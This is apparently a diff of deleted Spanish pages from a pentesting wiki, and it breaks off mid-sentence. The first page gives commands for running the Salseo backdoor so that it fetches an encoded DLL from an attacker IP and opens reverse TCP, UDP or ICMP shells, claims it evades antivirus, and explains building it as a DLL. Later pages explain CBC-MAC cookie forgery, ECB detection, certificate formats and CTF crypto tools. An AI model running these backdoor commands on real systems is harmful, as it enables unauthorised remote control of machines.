**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...**
## **Ejecutar el backdoor**
### **Obteniendo un shell reverso TCP (descargando dll codificada a través de HTTP)**
Recuerda iniciar un nc como el listener del shell reverso y un servidor HTTP para servir el evilsalsa codificado.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Obteniendo un shell reverso UDP (descargando dll codificada a través de SMB)**
Recuerda iniciar un nc como el oyente del shell reverso y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Obteniendo un shell reverso ICMP (dll codificada ya dentro de la víctima)**
**Esta vez necesitas una herramienta especial en el cliente para recibir el shell reverso. Descarga:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Desactivar respuestas ICMP:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Ejecutar el cliente:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Dentro de la víctima, ejecutemos la cosa de salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Compilando SalseoLoader como DLL exportando la función principal
Abre el proyecto SalseoLoader usando Visual Studio.
### Agrega antes de la función principal: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Instala DllExport para este proyecto
#### **Herramientas** --> **Administrador de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Busca el paquete DllExport (usando la pestaña Examinar) y presiona Instalar (y acepta el popup)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
En tu carpeta de proyecto han aparecido los archivos: **DllExport.bat** y **DllExport_Configure.bat**
### **Des**instalar DllExport
Presiona **Desinstalar** (sí, es raro pero confía en mí, es necesario)
![](<../images/image (5) (1) (1) (2) (1).png>)
### **Sal de Visual Studio y ejecuta DllExport_configure**
Simplemente **sal** de Visual Studio
Luego, ve a tu **carpeta SalseoLoader** y **ejecuta DllExport_Configure.bat**
Selecciona **x64** (si vas a usarlo dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) y presiona **Aplicar**
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Abre el proyecto nuevamente con Visual Studio**
**\[DllExport]** no debería estar marcado como error
![](<../images/image (8) (1).png>)
### Compila la solución
Selecciona **Tipo de salida = Biblioteca de clases** (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de clases)
![](<../images/image (10) (1).png>)
Selecciona **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Compilación --> Objetivo de plataforma = x64)
![](<../images/image (9) (1) (1).png>)
Para **compilar** la solución: Compilar --> Compilar solución (Dentro de la consola de salida aparecerá la ruta de la nueva DLL)
### Prueba la Dll generada
Copia y pega la Dll donde quieras probarla.
Ejecuta:
```
rundll32.exe SalseoLoader.dll,main
```
Si no aparece ningún error, ¡probablemente tengas un DLL funcional!
## Obtén un shell usando el DLL
No olvides usar un **servidor** **HTTP** y configurar un **listener** **nc**
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{{#include ../banners/hacktricks-training.md}}

19
src/burp-suite.md
View File

@ -1,19 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# Cargas Útiles Básicas
- **Lista Simple:** Solo una lista que contiene una entrada en cada línea
- **Archivo en Tiempo de Ejecución:** Una lista leída en tiempo de ejecución (no cargada en memoria). Para soportar listas grandes.
- **Modificación de Caso:** Aplicar algunos cambios a una lista de cadenas (Sin cambio, a minúsculas, a MAYÚSCULAS, a Nombre Propio - Primer letra en mayúscula y el resto en minúsculas-, a Nombre Propio - Primer letra en mayúscula y el resto permanece igual-).
- **Números:** Generar números de X a Y usando Z pasos o aleatoriamente.
- **Fuerza Bruta:** Conjunto de caracteres, longitud mínima y máxima.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Carga útil para ejecutar comandos y obtener la salida a través de solicitudes DNS a burpcollab.
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
{{#include ./banners/hacktricks-training.md}}

157
src/cryptography/certificates.md
View File

@ -1,157 +0,0 @@
# Certificados
{{#include ../banners/hacktricks-training.md}}
## Qué es un Certificado
Un **certificado de clave pública** es una identificación digital utilizada en criptografía para probar que alguien posee una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible la comunicación segura con el propietario de la clave.
Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) en una [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Otro método es la [web de confianza](https://en.wikipedia.org/wiki/Web_of_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas como se detalla en el RFC 5280.
## Campos Comunes de x509
### **Campos Comunes en Certificados x509**
En los certificados x509, varios **campos** juegan roles críticos para asegurar la validez y seguridad del certificado. Aquí hay un desglose de estos campos:
- **Número de Versión** significa la versión del formato x509.
- **Número de Serie** identifica de manera única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones.
- El campo **Sujeto** representa al propietario del certificado, que podría ser una máquina, un individuo o una organización. Incluye identificación detallada como:
- **Nombre Común (CN)**: Dominios cubiertos por el certificado.
- **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S, o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos.
- **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto.
- **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA.
- El **Período de Validez** está marcado por las marcas de tiempo **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una cierta fecha.
- La sección de **Clave Pública**, crucial para la seguridad del certificado, especifica el algoritmo, tamaño y otros detalles técnicos de la clave pública.
- Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso de Clave Extendida**, **Nombre Alternativo del Sujeto** y otras propiedades para afinar la aplicación del certificado.
#### **Uso de Clave y Extensiones**
- **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como la firma digital o el cifrado de clave.
- **Uso de Clave Extendida** delimita aún más los casos de uso del certificado, por ejemplo, para la autenticación de servidores TLS.
- **Nombre Alternativo del Sujeto** y **Restricción Básica** definen nombres de host adicionales cubiertos por el certificado y si es un certificado de CA o de entidad final, respectivamente.
- Identificadores como **Identificador de Clave del Sujeto** y **Identificador de Clave de Autoridad** aseguran la unicidad y trazabilidad de las claves.
- **Acceso a Información de Autoridad** y **Puntos de Distribución de CRL** proporcionan rutas para verificar la CA emisora y comprobar el estado de revocación del certificado.
- **SCTs de Precertificado CT** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
issuer = certificate.issuer
subject = certificate.subject
public_key = certificate.public_key()
print(f"Serial Number: {serial_number}")
print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Diferencia entre OCSP y Puntos de Distribución de CRL**
**OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado digital de clave pública ha sido revocado, sin necesidad de descargar el **CRL** completo. Este método es más eficiente que el **CRL** tradicional, que proporciona una lista de números de serie de certificados revocados pero requiere descargar un archivo potencialmente grande. Los CRLs pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **Qué es la Transparencia de Certificados**
La Transparencia de Certificados ayuda a combatir amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, CAs y usuarios. Sus objetivos son:
- Prevenir que las CAs emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio.
- Establecer un sistema de auditoría abierto para rastrear certificados emitidos por error o de manera maliciosa.
- Proteger a los usuarios contra certificados fraudulentos.
#### **Registros de Certificados**
Los registros de certificados son registros auditables públicamente, de solo adición, de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas para fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para verificación. Si bien el número exacto de servidores de registro no es fijo, se espera que sea menos de mil a nivel mundial. Estos servidores pueden ser gestionados de manera independiente por CAs, ISPs o cualquier entidad interesada.
#### **Consulta**
Para explorar los registros de Transparencia de Certificados para cualquier dominio, visita [https://crt.sh/](https://crt.sh).
Existen diferentes formatos para almacenar certificados, cada uno con sus propios casos de uso y compatibilidad. Este resumen cubre los formatos principales y proporciona orientación sobre la conversión entre ellos.
## **Formatos**
### **Formato PEM**
- Formato más utilizado para certificados.
- Requiere archivos separados para certificados y claves privadas, codificados en Base64 ASCII.
- Extensiones comunes: .cer, .crt, .pem, .key.
- Utilizado principalmente por Apache y servidores similares.
### **Formato DER**
- Un formato binario de certificados.
- Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en los archivos PEM.
- Extensiones comunes: .cer, .der.
- A menudo utilizado con plataformas Java.
### **Formato P7B/PKCS#7**
- Almacenado en Base64 ASCII, con extensiones .p7b o .p7c.
- Contiene solo certificados y certificados de cadena, excluyendo la clave privada.
- Soportado por Microsoft Windows y Java Tomcat.
### **Formato PFX/P12/PKCS#12**
- Un formato binario que encapsula certificados de servidor, certificados intermedios y claves privadas en un solo archivo.
- Extensiones: .pfx, .p12.
- Utilizado principalmente en Windows para la importación y exportación de certificados.
### **Conversión de Formatos**
**Las conversiones PEM** son esenciales para la compatibilidad:
- **x509 a PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM a DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER a PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM a P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 a PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**Las conversiones PFX** son cruciales para gestionar certificados en Windows:
- **PFX a PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX a PKCS#8** implica dos pasos:
1. Convertir PFX a PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convertir PEM a PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B a PFX** también requiere dos comandos:
1. Convertir P7B a CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convertir CER y clave privada a PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
---
{{#include ../banners/hacktricks-training.md}}

55
src/cryptography/cipher-block-chaining-cbc-mac-priv.md
View File

@ -1,55 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# CBC
Si la **cookie** es **solo** el **nombre de usuario** (o la primera parte de la cookie es el nombre de usuario) y deseas suplantar el nombre de usuario "**admin**". Entonces, puedes crear el nombre de usuario **"bdmin"** y **bruteforce** el **primer byte** de la cookie.
# CBC-MAC
**Código de autenticación de mensaje de encadenamiento de bloques cifrados** (**CBC-MAC**) es un método utilizado en criptografía. Funciona tomando un mensaje y cifrándolo bloque por bloque, donde el cifrado de cada bloque está vinculado al anterior. Este proceso crea una **cadena de bloques**, asegurando que cambiar incluso un solo bit del mensaje original conducirá a un cambio impredecible en el último bloque de datos cifrados. Para hacer o revertir tal cambio, se requiere la clave de cifrado, asegurando la seguridad.
Para calcular el CBC-MAC del mensaje m, se cifra m en modo CBC con un vector de inicialización cero y se mantiene el último bloque. La siguiente figura esboza el cálculo del CBC-MAC de un mensaje que comprende bloques![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) utilizando una clave secreta k y un cifrador de bloques E:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerabilidad
Con CBC-MAC, generalmente el **IV utilizado es 0**.\
Este es un problema porque 2 mensajes conocidos (`m1` y `m2`) generarán independientemente 2 firmas (`s1` y `s2`). Así que:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Entonces, un mensaje compuesto por m1 y m2 concatenados (m3) generará 2 firmas (s31 y s32):
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Lo cual es posible calcular sin conocer la clave del cifrado.**
Imagina que estás cifrando el nombre **Administrator** en bloques de **8bytes**:
- `Administ`
- `rator\00\00\00`
Puedes crear un nombre de usuario llamado **Administ** (m1) y recuperar la firma (s1).\
Luego, puedes crear un nombre de usuario llamado el resultado de `rator\00\00\00 XOR s1`. Esto generará `E(m2 XOR s1 XOR 0)` que es s32.\
Ahora, puedes usar s32 como la firma del nombre completo **Administrator**.
### Resumen
1. Obtén la firma del nombre de usuario **Administ** (m1) que es s1
2. Obtén la firma del nombre de usuario **rator\x00\x00\x00 XOR s1 XOR 0** que es s32**.**
3. Establece la cookie a s32 y será una cookie válida para el usuario **Administrator**.
# Ataque Controlando IV
Si puedes controlar el IV utilizado, el ataque podría ser muy fácil.\
Si la cookie es solo el nombre de usuario cifrado, para suplantar al usuario "**administrator**" puedes crear el usuario "**Administrator**" y obtendrás su cookie.\
Ahora, si puedes controlar el IV, puedes cambiar el primer byte del IV de modo que **IV\[0] XOR "A" == IV'\[0] XOR "a"** y regenerar la cookie para el usuario **Administrator.** Esta cookie será válida para **suplantar** al usuario **administrator** con el **IV** inicial.
## Referencias
Más información en [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

271
src/cryptography/crypto-ctfs-tricks.md
View File

@ -1,271 +0,0 @@
# Crypto CTFs Tricks
{{#include ../banners/hacktricks-training.md}}
## Bases de Datos de Hashes en Línea
- _**Búscalo en Google**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
- [https://md5decrypt.net/](https://md5decrypt.net)
- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
- [https://gpuhash.me/](https://gpuhash.me)
- [https://hashes.org/search.php](https://hashes.org/search.php)
- [https://www.cmd5.org/](https://www.cmd5.org)
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## Autosolvers Mágicos
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (módulo mágico)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## Codificadores
La mayoría de los datos codificados se pueden decodificar con estos 2 recursos:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### Autosolvers de Sustitución
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - ¡Muy bueno!
#### Autosolvers de César - ROTx
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
#### Cifrado Atbash
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
### Autosolver de Codificaciones Base
Verifica todas estas bases con: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Hexadecimal Extendida** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 o RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Muerto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Muerto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Muerto: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Teclado Dvorak
```
drnajapajrna
```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
Letras a su valor numérico
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### Cifrado Afín Codificar
Letra a número `(ax+b)%26` (_a_ y _b_ son las claves y _x_ es la letra) y el resultado de vuelta a letra
```
krodfdudfrod
```
### SMS Code
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos por el código de la tecla correspondiente en un [teclado de teléfono móvil](https://www.dcode.fr/phone-keypad-cipher) (Este modo se utiliza al escribir SMS).\
Por ejemplo: 2=A, 22=B, 222=C, 3=D...\
Puedes identificar este código porque verás **varios números repetidos**.
Puedes decodificar este código en: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code
Sustituye cada letra por 4 As o Bs (o 1s y 0s)
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### Runes
![](../images/runes.jpg)
## Compresión
**Raw Deflate** y **Raw Inflate** (puedes encontrar ambos en Cyberchef) pueden comprimir y descomprimir datos sin encabezados.
## Cripto Fácil
### XOR - Autosolver
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
### Bifid
Se necesita una palabra clave.
```
fgaargaamnlunesuneoa
```
### Vigenere
Se necesita una palabra clave
```
wodsyoidrods
```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Cripto Fuerte
### Fernet
2 cadenas base64 (token y clave)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing
Un secreto se divide en X partes y para recuperarlo necesitas Y partes (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### Fuerza bruta de OpenSSL
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Herramientas
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
{{#include ../banners/hacktricks-training.md}}

68
src/cryptography/electronic-code-book-ecb.md
View File

@ -1,68 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# ECB
(ECB) Libro de Códigos Electrónicos - esquema de cifrado simétrico que **reemplaza cada bloque del texto claro** por el **bloque de texto cifrado**. Es el esquema de cifrado **más simple**. La idea principal es **dividir** el texto claro en **bloques de N bits** (depende del tamaño del bloque de datos de entrada, algoritmo de cifrado) y luego cifrar (descifrar) cada bloque de texto claro utilizando la única clave.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Usar ECB tiene múltiples implicaciones de seguridad:
- **Se pueden eliminar bloques del mensaje cifrado**
- **Se pueden mover bloques del mensaje cifrado**
# Detección de la vulnerabilidad
Imagina que inicias sesión en una aplicación varias veces y **siempre obtienes la misma cookie**. Esto se debe a que la cookie de la aplicación es **`<nombredeusuario>|<contraseña>`**.\
Luego, generas dos nuevos usuarios, ambos con la **misma contraseña larga** y **casi** el **mismo** **nombre de usuario**.\
Descubres que los **bloques de 8B** donde la **info de ambos usuarios** es la misma son **iguales**. Luego, imaginas que esto podría ser porque **se está utilizando ECB**.
Como en el siguiente ejemplo. Observa cómo estas **2 cookies decodificadas** tienen varias veces el bloque **`\x23U\xE45K\xCB\x21\xC8`**.
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
Esto se debe a que el **nombre de usuario y la contraseña de esas cookies contenían varias veces la letra "a"** (por ejemplo). Los **bloques** que son **diferentes** son bloques que contenían **al menos 1 carácter diferente** (quizás el delimitador "|" o alguna diferencia necesaria en el nombre de usuario).
Ahora, el atacante solo necesita descubrir si el formato es `<username><delimiter><password>` o `<password><delimiter><username>`. Para hacer eso, puede **generar varios nombres de usuario** con nombres de usuario y contraseñas **similares y largos hasta que encuentre el formato y la longitud del delimitador:**
